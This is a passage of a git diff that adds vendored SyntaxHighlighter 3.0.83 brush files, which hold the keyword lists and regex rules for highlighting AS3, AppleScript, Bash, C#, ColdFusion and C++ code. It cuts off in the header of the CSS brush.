require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Created by Peter Atoria @ http://iAtoria.com + + var inits = 'class interface function package'; + + var keywords = '-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI ' + + 'decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape ' + + 'extends false final finally flash_proxy for get if implements import in include Infinity ' + + 'instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null ' + + 'Null Number Object object_proxy override parseFloat parseInt private protected public ' + + 'return set static String super switch this throw true try typeof uint undefined unescape ' + + 'use void while with' + ; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers + { regex: new RegExp(this.getKeywords(inits), 'gm'), css: 'color3' }, // initializations + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp('var', 'gm'), css: 'variable' }, // variable + { regex: new RegExp('trace', 'gm'), css: 'color1' } // trace + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['actionscript3', 'as3']; + + SyntaxHighlighter.brushes.AS3 = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushAppleScript.js b/v4.1/javascripts/syntaxhighlighter/shBrushAppleScript.js new file mode 100644 index 0000000..d40bbd7 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushAppleScript.js @@ -0,0 +1,75 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // AppleScript brush by David Chambers + // http://davidchambersdesign.com/ + var keywords = 'after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without'; + var ordinals = 'first second third fourth fifth sixth seventh eighth ninth tenth last front back middle'; + var specials = 'activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes'; + + this.regexList = [ + + { regex: /(--|#).*$/gm, + css: 'comments' }, + + { regex: /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm, // support nested comments + css: 'comments' }, + + { regex: /"[\s\S]*?"/gm, + css: 'string' }, + + { regex: /(?:,|:|¬|'s\b|\(|\)|\{|\}|«|\b\w*»)/g, + css: 'color1' }, + + { regex: /(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g, // numbers + css: 'color1' }, + + { regex: /(?:&(amp;|gt;|lt;)?|=|� |>|<|≥|>=|≤|<=|\*|\+|-|\/|÷|\^)/g, + css: 'color2' }, + + { regex: /\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else|end) )?if|else|(end )?(script|tell|try)|(on )?error|(put )?into|(of )?(it|me)|its|my|with (timeout( of)?|transaction)|end (timeout|transaction))\b/g, + css: 'keyword' }, + + { regex: /\b\d+(st|nd|rd|th)\b/g, // ordinals + css: 'keyword' }, + + { regex: /\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g, + css: 'color3' }, + + { regex: /\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?window|with (data|icon( (caution|note|stop))?|parameter(s)?|prompt|properties|seed|title)|case|diacriticals|hyphens|numeric strings|punctuation|white space|folder creation|application(s( folder)?| (processes|scripts position|support))?|((desktop )?(pictures )?|(documents|downloads|favorites|home|keychain|library|movies|music|public|scripts|sites|system|users|utilities|workflows) )folder|desktop|Folder Action scripts|font(s| panel)?|help|internet plugins|modem scripts|(system )?preferences|printer descriptions|scripting (additions|components)|shared (documents|libraries)|startup (disk|items)|temporary items|trash|on server|in AppleTalk zone|((as|long|short) )?user name|user (ID|locale)|(with )?password|in (bundle( with identifier)?|directory)|(close|open for) access|read|write( permission)?|(g|s)et eof|using( delimiters)?|starting at|default (answer|button|color|country code|entr(y|ies)|identifiers|items|name|location|script editor)|hidden( answer)?|open(ed| (location|untitled))?|error (handling|reporting)|(do( shell)?|load|run|store) script|administrator privileges|altering line endings|get volume settings|(alert|boot|input|mount|output|set) volume|output muted|(fax|random )?number|round(ing)?|up|down|toward zero|to nearest|as taught in school|system (attribute|info)|((AppleScript( Studio)?|system) )?version|(home )?directory|(IPv4|primary Ethernet) address|CPU (type|speed)|physical memory|time (stamp|to GMT)|replacing|ASCII (character|number)|localized string|from table|offset|summarize|beep|delay|say|(empty|multiple) selections allowed|(of|preferred) type|invisibles|showing( package contents)?|editable URL|(File|FTP|News|Media|Web) [Ss]ervers|Telnet hosts|Directory services|Remote applications|waiting until completion|saving( (in|to))?|path (for|to( (((current|frontmost) )?application|resource))?)|POSIX (file|path)|(background|RGB) color|(OK|cancel) button name|cancel button|button(s)?|cubic ((centi)?met(re|er)s|yards|feet|inches)|square ((kilo)?met(re|er)s|miles|yards|feet)|(centi|kilo)?met(re|er)s|miles|yards|feet|inches|lit(re|er)s|gallons|quarts|(kilo)?grams|ounces|pounds|degrees (Celsius|Fahrenheit|Kelvin)|print( (dialog|settings))?|clos(e(able)?|ing)|(de)?miniaturized|miniaturizable|zoom(ed|able)|attribute run|action (method|property|title)|phone|email|((start|end)ing|home) page|((birth|creation|current|custom|modification) )?date|((((phonetic )?(first|last|middle))|computer|host|maiden|related) |nick)?name|aim|icq|jabber|msn|yahoo|address(es)?|save addressbook|should enable action|city|country( code)?|formatte(r|d address)|(palette )?label|state|street|zip|AIM [Hh]andle(s)?|my card|select(ion| all)?|unsaved|(alpha )?value|entr(y|ies)|group|(ICQ|Jabber|MSN) handle|person|people|company|department|icon image|job title|note|organization|suffix|vcard|url|copies|collating|pages (across|down)|request print time|target( printer)?|((GUI Scripting|Script menu) )?enabled|show Computer scripts|(de)?activated|awake from nib|became (key|main)|call method|of (class|object)|center|clicked toolbar item|closed|for document|exposed|(can )?hide|idle|keyboard (down|up)|event( (number|type))?|launch(ed)?|load (image|movie|nib|sound)|owner|log|mouse (down|dragged|entered|exited|moved|up)|move|column|localization|resource|script|register|drag (info|types)|resigned (active|key|main)|resiz(e(d)?|able)|right mouse (down|dragged|up)|scroll wheel|(at )?index|should (close|open( untitled)?|quit( after last window closed)?|zoom)|((proposed|screen) )?bounds|show(n)?|behind|in front of|size (mode|to fit)|update(d| toolbar item)?|was (hidden|miniaturized)|will (become active|close|finish launching|hide|miniaturize|move|open|quit|(resign )?active|((maximum|minimum|proposed) )?size|show|zoom)|bundle|data source|movie|pasteboard|sound|tool(bar| tip)|(color|open|save) panel|coordinate system|frontmost|main( (bundle|menu|window))?|((services|(excluded from )?windows) )?menu|((executable|frameworks|resource|scripts|shared (frameworks|support)) )?path|(selected item )?identifier|data|content(s| view)?|character(s)?|click count|(command|control|option|shift) key down|context|delta (x|y|z)|key( code)?|location|pressure|unmodified characters|types|(first )?responder|playing|(allowed|selectable) identifiers|allows customization|(auto saves )?configuration|visible|image( name)?|menu form representation|tag|user(-| )defaults|associated file name|(auto|needs) display|current field editor|floating|has (resize indicator|shadow)|hides when deactivated|level|minimized (image|title)|opaque|position|release when closed|sheet|title(d)?)\b/g, + css: 'color3' }, + + { regex: new RegExp(this.getKeywords(specials), 'gm'), css: 'color3' }, + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, + { regex: new RegExp(this.getKeywords(ordinals), 'gm'), css: 'keyword' } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['applescript']; + + SyntaxHighlighter.brushes.AppleScript = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushBash.js b/v4.1/javascripts/syntaxhighlighter/shBrushBash.js new file mode 100644 index 0000000..8c29696 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushBash.js @@ -0,0 +1,59 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'if fi then elif else for do done until while break continue case function return in eq ne ge le'; + var commands = 'alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chroot' + + 'cksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df ' + + 'diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval ' + + 'exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format ' + + 'free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig ' + + 'import install join kill less let ln local locate logname logout look lpc lpr lprint ' + + 'lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools ' + + 'mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap ' + + 'printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice ' + + 'remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown ' + + 'sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time ' + + 'times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias ' + + 'uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir ' + + 'vi watch wc whereis which who whoami Wget xargs yes' + ; + + this.regexList = [ + { regex: /^#!.*$/gm, css: 'preprocessor bold' }, + { regex: /\/[\w-\/]+/gm, css: 'plain' }, + { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords + { regex: new RegExp(this.getKeywords(commands), 'gm'), css: 'functions' } // commands + ]; + } + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['bash', 'shell']; + + SyntaxHighlighter.brushes.Bash = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushCSharp.js b/v4.1/javascripts/syntaxhighlighter/shBrushCSharp.js new file mode 100644 index 0000000..079214e --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushCSharp.js @@ -0,0 +1,65 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + var keywords = 'abstract as base bool break byte case catch char checked class const ' + + 'continue decimal default delegate do double else enum event explicit ' + + 'extern false finally fixed float for foreach get goto if implicit in int ' + + 'interface internal is lock long namespace new null object operator out ' + + 'override params private protected public readonly ref return sbyte sealed set ' + + 'short sizeof stackalloc static string struct switch this throw true try ' + + 'typeof uint ulong unchecked unsafe ushort using virtual void while'; + + function fixComments(match, regexInfo) + { + var css = (match[0].indexOf("///") == 0) + ? 'color1' + : 'comments' + ; + + return [new SyntaxHighlighter.Match(match[0], match.index, css)]; + } + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, func : fixComments }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: /@"(?:[^"]|"")*"/g, css: 'string' }, // @-quoted strings + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /^\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // c# keyword + { regex: /\bpartial(?=\s+(?:class|interface|struct)\b)/g, css: 'keyword' }, // contextual keyword: 'partial' + { regex: /\byield(?=\s+(?:return|break)\b)/g, css: 'keyword' } // contextual keyword: 'yield' + ]; + + this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags); + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['c#', 'c-sharp', 'csharp']; + + SyntaxHighlighter.brushes.CSharp = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); + diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushColdFusion.js b/v4.1/javascripts/syntaxhighlighter/shBrushColdFusion.js new file mode 100644 index 0000000..627dbb9 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushColdFusion.js @@ -0,0 +1,100 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Contributed by Jen + // http://www.jensbits.com/2009/05/14/coldfusion-brush-for-syntaxhighlighter-plus + + var funcs = 'Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ' + + 'ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList ' + + 'Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor ' + + 'Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject ' + + 'CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert ' + + 'DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue ' + + 'Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt ' + + 'EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead ' + + 'FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf ' + + 'FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath ' + + 'GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding ' + + 'GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString ' + + 'GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData ' + + 'GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader ' + + 'GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken ' + + 'GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ' + + 'ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ' + + 'ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ' + + 'ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ' + + 'ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ' + + 'ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ' + + 'ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary ' + + 'IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost ' + + 'IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole ' + + 'IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ' + + 'ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ' + + 'ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log ' + + 'Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime ' + + 'LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime ' + + 'Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand ' + + 'Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase ' + + 'REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString ' + + 'SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind ' + + 'StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew ' + + 'StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ' + + 'ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform ' + + 'XmlValidate Year YesNoFormat'; + + var keywords = 'cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar ' + + 'cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo ' + + 'cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror ' + + 'cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask ' + + 'cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn ' + + 'cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex ' + + 'cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog ' + + 'cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate ' + + 'cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop ' + + 'cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult ' + + 'cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule ' + + 'cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable ' + + 'cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx ' + + 'cfwindow cfxml cfzip cfzipparam'; + + var operators = 'all and any between cross in join like not null or outer some'; + + this.regexList = [ + { regex: new RegExp('--(.*)$', 'gm'), css: 'comments' }, // one line and multiline comments + { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // single quoted strings + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings + { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // functions + { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such + { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword + ]; + } + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['coldfusion','cf']; + + SyntaxHighlighter.brushes.ColdFusion = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushCpp.js b/v4.1/javascripts/syntaxhighlighter/shBrushCpp.js new file mode 100644 index 0000000..9f70d3a --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushCpp.js @@ -0,0 +1,97 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null; + + function Brush() + { + // Copyright 2006 Shin, YoungJin + + var datatypes = 'ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR ' + + 'DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH ' + + 'HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP ' + + 'HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY ' + + 'HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT ' + + 'HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE ' + + 'LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF ' + + 'LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR ' + + 'LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR ' + + 'PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT ' + + 'PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 ' + + 'POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR ' + + 'PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 ' + + 'PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT ' + + 'SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ' + + 'ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM ' + + 'char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t ' + + 'clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS ' + + 'FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t ' + + '__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t ' + + 'jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler ' + + 'sig_atomic_t size_t _stat __stat64 _stati64 terminate_function ' + + 'time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf ' + + 'va_list wchar_t wctrans_t wctype_t wint_t signed'; + + var keywords = 'break case catch class const __finally __exception __try ' + + 'const_cast continue private public protected __declspec ' + + 'default delete deprecated dllexport dllimport do dynamic_cast ' + + 'else enum explicit extern if for friend goto inline ' + + 'mutable naked namespace new noinline noreturn nothrow ' + + 'register reinterpret_cast return selectany ' + + 'sizeof static static_cast struct switch template this ' + + 'thread throw true false try typedef typeid typename union ' + + 'using uuid virtual void volatile whcar_t while'; + + var functions = 'assert isalnum isalpha iscntrl isdigit isgraph islower isprint' + + 'ispunct isspace isupper isxdigit tolower toupper errno localeconv ' + + 'setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod ' + + 'frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf ' + + 'longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start ' + + 'clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen ' + + 'fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell ' + + 'fwrite getc getchar gets perror printf putc putchar puts remove ' + + 'rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ' + + 'ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol ' + + 'bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs ' + + 'mbtowc qsort rand realloc srand strtod strtol strtoul system ' + + 'wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr ' + + 'strcmp strcoll strcpy strcspn strerror strlen strncat strncmp ' + + 'strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime ' + + 'clock ctime difftime gmtime localtime mktime strftime time'; + + this.regexList = [ + { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments + { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments + { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings + { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings + { regex: /^ *#.*/gm, css: 'preprocessor' }, + { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'color1 bold' }, + { regex: new RegExp(this.getKeywords(functions), 'gm'), css: 'functions bold' }, + { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword bold' } + ]; + }; + + Brush.prototype = new SyntaxHighlighter.Highlighter(); + Brush.aliases = ['cpp', 'c']; + + SyntaxHighlighter.brushes.Cpp = Brush; + + // CommonJS + typeof(exports) != 'undefined' ? exports.Brush = Brush : null; +})(); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushCss.js b/v4.1/javascripts/syntaxhighlighter/shBrushCss.js new file mode 100644 index 0000000..4297a9a --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushCss.js @@ -0,0 +1,91 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * 